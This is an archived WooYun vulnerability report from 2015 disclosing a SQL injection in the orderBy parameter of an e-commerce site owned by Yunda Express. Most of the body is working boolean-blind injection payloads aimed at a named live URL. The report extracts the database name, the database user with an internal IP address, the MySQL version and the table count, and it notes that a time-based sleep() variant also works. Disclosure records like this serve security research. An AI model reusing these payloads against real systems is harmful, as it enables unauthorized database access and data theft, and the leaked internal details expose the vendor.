当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120383

漏洞标题:韵达快递旗下跨境电商平台SQL注入漏洞

相关厂商:韵达快递

漏洞作者: harbour_bin

提交时间:2015-06-14 11:09

修复时间:2015-07-30 10:08

公开时间:2015-07-30 10:08

漏洞类型:

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-14: 细节已通知厂商并且等待厂商处理中
2015-06-15: 厂商已经确认,细节仅向厂商公开
2015-06-25: 细节向核心白帽子及相关领域专家公开
2015-07-05: 细节向普通白帽子公开
2015-07-15: 细节向实习白帽子公开
2015-07-30: 细节向公众公开

简要描述:

韵达快递旗下跨境电商平台SQL注入漏洞

详细说明:

URL:http://www.udamall.com/cn/index.php/gallery-ajax_get_goods.html
POST:brand_id[]=153&orderBy=buy_w_count desc&showtype=grid&gTag[]=15&page=1
注入点:orderBy


brand_id[]=153&orderBy=buy_w_count  and 1=1 desc&showtype=grid&gTag[]=15&page=1
brand_id[]=153&orderBy=buy_w_count and 1=2 desc&showtype=grid&gTag[]=15&page=1


猜解数据库名
brand_id[]=153&orderBy=buy_w_count and length(database())=7 desc&showtype=grid&gTag[]=15&page=1
brand_id[]=153&orderBy=buy_w_count and substring(database(),1,1)=char(117) desc&showtype=grid&gTag[]=15&page=1
u
brand_id[]=153&orderBy=buy_w_count and substring(database(),2,1)=char(100) desc&showtype=grid&gTag[]=15&page=1
d
brand_id[]=153&orderBy=buy_w_count and substring(database(),3,1)=char(97) desc&showtype=grid&gTag[]=15&page=1
a
brand_id[]=153&orderBy=buy_w_count and left(database(),7)=char(117,100,97,109,97,108,108) desc&showtype=grid&gTag[]=15&page=1
数据库名: udamall


猜用户名
brand_id[]=153&orderBy=buy_w_count and length(user())=17 desc&showtype=grid&gTag[]=15&page=1
brand_id[]=153&orderBy=buy_w_count and substring(user(),1,1)=char(117) desc&showtype=grid&gTag[]=15&page=1
u
brand_id[]=153&orderBy=buy_w_count and left(user(),7)=char(117,100,97,109,97,108,108) desc&showtype=grid&gTag[]=15&page=1
udamall
brand_id[]=153&orderBy=buy_w_count and substring(user(),8,1)=char(64) desc&showtype=grid&gTag[]=15&page=1
@
brand_id[]=153&orderBy=buy_w_count and substring(user(),9,1)=char(49) desc&showtype=grid&gTag[]=15&page=1
1
brand_id[]=153&orderBy=buy_w_count and substring(user(),10,1)=char(48) desc&showtype=grid&gTag[]=15&page=1
0
brand_id[]=153&orderBy=buy_w_count and substring(user(),11,1)=char(46) desc&showtype=grid&gTag[]=15&page=1
.
brand_id[]=153&orderBy=buy_w_count and substring(user(),12,1)=char(48) desc&showtype=grid&gTag[]=15&page=1
0
brand_id[]=153&orderBy=buy_w_count and substring(user(),13,1)=char(46) desc&showtype=grid&gTag[]=15&page=1
.
brand_id[]=153&orderBy=buy_w_count and substring(user(),14,1)=char(50) desc&showtype=grid&gTag[]=15&page=1
2
brand_id[]=153&orderBy=buy_w_count and substring(user(),15,1)=char(46) desc&showtype=grid&gTag[]=15&page=1
.
brand_id[]=153&orderBy=buy_w_count and substring(user(),16,1)=char(52) desc&showtype=grid&gTag[]=15&page=1
4
brand_id[]=153&orderBy=buy_w_count and substring(user(),17,1)=char(50) desc&showtype=grid&gTag[]=15&page=1
2
用户名:udamall@10.0.1.42


brand_id[]=153&orderBy=buy_w_count  and left(version(),3)=char(53,46,54) desc&showtype=grid&gTag[]=15&page=1
版本:5.6


brand_id[]=153&orderBy=buy_w_count and (select count(1) from information_schema.tables)=408 desc&showtype=grid&gTag[]=15&page=1
408个表

漏洞证明:

数据库名:udamall
用户名:udamall@10.0.1.42
版本号:Mysql5.6
表数:408个


修改substring(database(),1,1)为if(substring(database(),1,1),sleep(2),0)可以执行,本想根据这个编写Python脚本,水平有限,出问题了,就不贴出来了


部分图片证明:

uda_1=1.jpg


uda_1=2.jpg


uda_1 2.jpg


user.jpg

修复方案:

你们更专业!

版权声明:转载请注明来源 harbour_bin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-06-15 10:06

厂商回复:

感谢指出,我们会尽快修复,辛苦了

最新状态:

暂无